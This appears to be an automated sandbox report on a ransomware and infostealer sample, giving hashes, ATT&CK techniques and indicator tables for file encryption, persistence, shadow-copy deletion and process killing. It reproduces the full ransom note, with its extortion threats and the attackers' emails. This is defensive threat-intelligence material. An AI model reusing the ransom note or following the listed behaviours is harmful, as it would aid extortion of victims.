8411bca3ef85f5da19c00b3181545be884dde58b0683a9d39d7d1b98747a8305

General

Target

sample.exe
Size

1.1MB
MD5

a56644a519d6fce5f20a744ae3820af2
SHA1

93acd978da4a602c9ea1a23b6a97d74ced436e56
SHA256

563daaab9f9d7be02f037c540d561c424aa3e5efc6a9a5c8d58858d98e2aae3c
SHA512

5ee5ae6d10bb4c3290664454666bd5f82d694bb772d9d5e6dc9e29cb7129cf696ac5b694676eb78074e4196a459e66f6b34b920017af1cd2addb35a1e1b85416

Score

10^/10

evasion ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Read_Me!_.txt

Ransom Note

All Your Files Encrypted And Sensitive Data Downloaded (Financial Documents,Contracts,Invoices etc.. ). To Get Decryption Tools You Should Buy Our Decrption Tools And Then We Will Send You Decryption Tools And Delete Your Sensitive Data From Our Servers. If Payment Is Not Made We have to Publish Your Sensitive Data If Necessary Sell Them And Send Them To Your Competitors And After A While Our Servers Will Remove Your Decrypion Keys From Servers. Your Files Encrypted With Strongest Encryption Algorithm So Without Our Decryption Tools Nobody Can't Help You So Do Not Waste Your Time In Vain! Your ID: mnelHr Email Address: Starmoon@my.com In Case Of Problem With First Email Send Us Mail At : starmoonio@tutanota.com Send Your ID In Email And Check Spam Folder. This Is Just Business To Get Benefits, If Do Not Contact Us After 48 Hours Decryption Price Will x2. What Guarantee Do We Give You ? You Should Send Some Encrypted Files To Us For Decryption Test. ---------------------------------------------------------------------- Attention! Do Not Edit Or Rename Encrypted Files. Do Not Try To Decrypt Files By Third-Party Or Data Recovery Softwares It May Damage Files. In Case Of Trying To Decrypt Files With Third-Party Sofwares,This May Make The Decryption Harder So Prices Will Be Rise. ---------------------------------------------------------------------- How To Buy Bitcoin : Buy Bitcoin Instructions At LocalBitcoins : https://localbitcoins.com/guides/how-to-buy-bitcoins Buy Bitcoin Instructions At Coindesk And Get More Info By Searching At Google : https://www.coindesk.com/learn/how-can-i-buy-bitcoin/

Emails

Starmoon@my.com

starmoonio@tutanota.com

Signatures

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
ransomware

Processes:

sample.exe

description ioc process

File opened for modification C:\Users\Admin\Pictures\RenameEnable.tiff sample.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\RenameEnable.tiff	sample.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 7 IoCs

Processes:

sample.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Read_Me!_.txt	sample.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\Read_Me!_.txt	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\Read_Me!_.txt	sample.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktopini.exe	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktopini.exe	sample.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Read_Me!_.txt	sample.exe

Loads dropped DLL 3 IoCs

Processes:

pid process

3164
3164
3164
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Unexpected DNS network traffic destination 3 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.

Processes:

description ioc

Destination IP 208.67.222.222
Destination IP 208.67.222.222
Destination IP 208.67.222.222

pid	process
3164
3164
3164

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Drops desktop.ini file(s) 64 IoCs

Processes:

sample.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	sample.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	sample.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	sample.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\History\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	sample.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Application Shortcuts\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	sample.exe
File opened for modification	C:\$Recycle.Bin\S-1-5-21-3751123196-3323558407-1869646069-1000\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	sample.exe
File opened for modification	C:\Users\Public\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	sample.exe
File opened for modification	C:\Program Files (x86)\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group3\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	sample.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	sample.exe
File opened for modification	C:\Program Files\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini	sample.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\desktop.ini	sample.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\3D Objects\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group2\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Burn\Burn\desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	sample.exe
File opened for modification	C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini	sample.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	sample.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\WinX\Group1\desktop.ini	sample.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

sample.exe

description	ioc	process
File opened (read-only)	\??\P:	sample.exe
File opened (read-only)	\??\E:	sample.exe
File opened (read-only)	\??\I:	sample.exe
File opened (read-only)	\??\K:	sample.exe
File opened (read-only)	\??\N:	sample.exe
File opened (read-only)	\??\R:	sample.exe
File opened (read-only)	\??\U:	sample.exe
File opened (read-only)	\??\X:	sample.exe
File opened (read-only)	\??\B:	sample.exe
File opened (read-only)	\??\J:	sample.exe
File opened (read-only)	\??\M:	sample.exe
File opened (read-only)	\??\Q:	sample.exe
File opened (read-only)	\??\S:	sample.exe
File opened (read-only)	\??\V:	sample.exe
File opened (read-only)	\??\W:	sample.exe
File opened (read-only)	\??\Y:	sample.exe
File opened (read-only)	\??\L:	sample.exe
File opened (read-only)	\??\O:	sample.exe
File opened (read-only)	\??\T:	sample.exe
File opened (read-only)	\??\Z:	sample.exe
File opened (read-only)	\??\A:	sample.exe
File opened (read-only)	\??\F:	sample.exe
File opened (read-only)	\??\G:	sample.exe
File opened (read-only)	\??\H:	sample.exe

Drops file in Program Files directory 64 IoCs

Processes:

sample.exe

description	ioc	process
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423496937509.profile.gz	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-RS\Read_Me!_.txt	sample.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_x64__8wekyb3d8bbwe\loc_archives\en\Read_Me!_.txt	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\sv-se\ui-strings.js	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\AppPackageLargeTile.scale-200.png	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteNotebookSmallTile.scale-200.png	sample.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\db\bin\stopNetworkServer	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Personal2019R_OEM_Perp-ul-oob.xrm-ms	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\SyncFusion.Shared.Base.dll	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.0.22753.0_x64__8wekyb3d8bbwe\Assets\contrast-white\BadgeLogo.scale-125_contrast-white.png	sample.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\1.3.157.61\msedgeupdateres_ug.dll	sample.exe
File created	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Read_Me!_.txt	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1906.1972.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-256_altform-unplated.png	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.YourPhone_0.19051.7.0_x64__8wekyb3d8bbwe\Assets\AppTiles\AppIcon.targetsize-40_altform-unplated.png	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\am_get.svg[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vreg\office32ww.msi.16.x-none.vreg.dat	sample.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\access\libvdr_plugin.dll	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.19071.19011.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-64_altform-unplated_contrast-white.png	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL083.XML[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Transit\contrast-black\LargeTile.scale-125.png	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_x64__8wekyb3d8bbwe\Assets\tilebg.png	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Infragistics2.Shared.v11.1.dll	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteSplashLogo.scale-100.png	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe\logo.png	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentR_Trial2-pl.xrm-ms[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ui-strings.js	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppList.targetsize-64_contrast-black.png	sample.exe
File created	C:\Program Files\WindowsApps\Microsoft.Advertising.Xaml_10.1808.3.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\Autogen\Read_Me!_.txt	sample.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarBadge.scale-125.png	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\Read_Me!_.txt	sample.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\Read_Me!_.txt	sample.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeUpdate_bk\1.3.157.61\msedgeupdateres_sr-Cyrl-RS.dll	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\core_icons.png[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteSplashLogo.scale-400.png	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\HxMailMediumTile.scale-200.png	sample.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt.nl_zh_4.4.0.v20140623020002.jar[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\Assets\GetStartedWideTile.scale-200_contrast-black.png	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nl-nl\Read_Me!_.txt	sample.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\ro-ro\Read_Me!_.txt	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\fi-fi\ui-strings.js[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\AccessVL_MAK-ppd.xrm-ms	sample.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_zh_CN.jar[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\S_IlluDCFilesEmpty_180x180.svg	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-256.png	sample.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\ExchangeSmallTile.scale-400.png	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_x64__8wekyb3d8bbwe\Win10\MicrosoftSolitaireAppList.targetsize-48_altform-unplated_devicefamily-colorfulunplated.png	sample.exe
File created	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\deployed\jdk15\Read_Me!_.txt	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_16001.12026.20112.0_x64__8wekyb3d8bbwe\images\OneNoteSectionGroupWideTile.scale-100.png	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_1.0.20875.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-24_altform-unplated_contrast-white.png	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\es-es\ui-strings.js[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File created	\??\c:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Common.View.UWP\Strings\fa-IR\Read_Me!_.txt	sample.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.base.nl_ja_4.4.0.v20140623020002.jar	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets\cardview-linkedentity.png	sample.exe
File opened for modification	C:\Program Files\Mozilla Firefox\api-ms-win-crt-stdio-l1-1-0.dll	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\en-gb\ui-strings.js	sample.exe
File opened for modification	\??\c:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\TXP_CarReservation_Light.png	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ru-ru\ui-strings.js[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Constantia-Franklin Gothic Book.xml	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProPlusR_OEM_Perp5-ul-phn.xrm-ms	sample.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.simpleconfigurator.nl_zh_4.4.0.v20140623020002.jar[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\StoreLogo.png	sample.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\uk-ua\ui-strings.js[ID=mnelHr-Mail=Starmoon@my.com].GFm2	sample.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-sendopts.xml	sample.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENFR\Read_Me!_.txt	sample.exe

Drops file in Windows directory 2 IoCs

Processes:

sample.exe

description ioc process

File created C:\Windows\Pagesfilo.sys sample.exe
File opened for modification C:\Windows\Pagesfilo.sys sample.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4288 schtasks.exe

description	ioc	process
File created	C:\Windows\Pagesfilo.sys	sample.exe
File opened for modification	C:\Windows\Pagesfilo.sys	sample.exe

pid	process
4288	schtasks.exe

Delays execution with timeout.exe 10 IoCs

evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid	process
5100	timeout.exe
4476	timeout.exe
2996	timeout.exe
2620	timeout.exe
3152	timeout.exe
1052	timeout.exe
3016	timeout.exe
4364	timeout.exe
2332	timeout.exe
1112	timeout.exe

Enumerates processes with tasklist 1 TTPs 10 IoCs

Process Discovery

T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid	process
4900	tasklist.exe
1032	tasklist.exe
2308	tasklist.exe
1692	tasklist.exe
3668	tasklist.exe
2156	tasklist.exe
1560	tasklist.exe
1180	tasklist.exe
1080	tasklist.exe
2124	tasklist.exe

Gathers system information 1 TTPs 2 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exesysteminfo.exe

pid process

2064 systeminfo.exe
2484 systeminfo.exe

pid	process
2064	systeminfo.exe
2484	systeminfo.exe

Kills process with taskkill 40 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
2828	taskkill.exe
4348	taskkill.exe
4028	taskkill.exe
1996	taskkill.exe
3756	taskkill.exe
3040	taskkill.exe
4412	taskkill.exe
4344	taskkill.exe
1032	taskkill.exe
3160	taskkill.exe
3284	taskkill.exe
1068	taskkill.exe
924	taskkill.exe
1556	taskkill.exe
1112	taskkill.exe
3528	taskkill.exe
4272	taskkill.exe
2732	taskkill.exe
1200	taskkill.exe
3648	taskkill.exe
544	taskkill.exe
2980	taskkill.exe
3836	taskkill.exe
4360	taskkill.exe
4064	taskkill.exe
1380	taskkill.exe
2332	taskkill.exe
932	taskkill.exe
2836	taskkill.exe
3620	taskkill.exe
1456	taskkill.exe
3468	taskkill.exe
1232	taskkill.exe
4148	taskkill.exe
4660	taskkill.exe
1628	taskkill.exe
4984	taskkill.exe
1080	taskkill.exe
2608	taskkill.exe
2392	taskkill.exe

Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings cmd.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2796 reg.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

tasklist.exetasklist.exe

pid process

1080 tasklist.exe
1080 tasklist.exe
1032 tasklist.exe
1032 tasklist.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings	cmd.exe

pid	process
2796	reg.exe

pid	process
1080	tasklist.exe
1080	tasklist.exe
1032	tasklist.exe
1032	tasklist.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

tasklist.exetasklist.exeWMIC.exevssvc.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	1080	tasklist.exe
Token: SeDebugPrivilege	1032	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1580	WMIC.exe
Token: SeSecurityPrivilege	1580	WMIC.exe
Token: SeTakeOwnershipPrivilege	1580	WMIC.exe
Token: SeLoadDriverPrivilege	1580	WMIC.exe
Token: SeSystemProfilePrivilege	1580	WMIC.exe
Token: SeSystemtimePrivilege	1580	WMIC.exe
Token: SeProfSingleProcessPrivilege	1580	WMIC.exe
Token: SeIncBasePriorityPrivilege	1580	WMIC.exe
Token: SeCreatePagefilePrivilege	1580	WMIC.exe
Token: SeBackupPrivilege	1580	WMIC.exe
Token: SeRestorePrivilege	1580	WMIC.exe
Token: SeShutdownPrivilege	1580	WMIC.exe
Token: SeDebugPrivilege	1580	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1580	WMIC.exe
Token: SeRemoteShutdownPrivilege	1580	WMIC.exe
Token: SeUndockPrivilege	1580	WMIC.exe
Token: SeManageVolumePrivilege	1580	WMIC.exe
Token: 33	1580	WMIC.exe
Token: 34	1580	WMIC.exe
Token: 35	1580	WMIC.exe
Token: 36	1580	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1580	WMIC.exe
Token: SeSecurityPrivilege	1580	WMIC.exe
Token: SeTakeOwnershipPrivilege	1580	WMIC.exe
Token: SeLoadDriverPrivilege	1580	WMIC.exe
Token: SeSystemProfilePrivilege	1580	WMIC.exe
Token: SeSystemtimePrivilege	1580	WMIC.exe
Token: SeProfSingleProcessPrivilege	1580	WMIC.exe
Token: SeIncBasePriorityPrivilege	1580	WMIC.exe
Token: SeCreatePagefilePrivilege	1580	WMIC.exe
Token: SeBackupPrivilege	1580	WMIC.exe
Token: SeRestorePrivilege	1580	WMIC.exe
Token: SeShutdownPrivilege	1580	WMIC.exe
Token: SeDebugPrivilege	1580	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1580	WMIC.exe
Token: SeRemoteShutdownPrivilege	1580	WMIC.exe
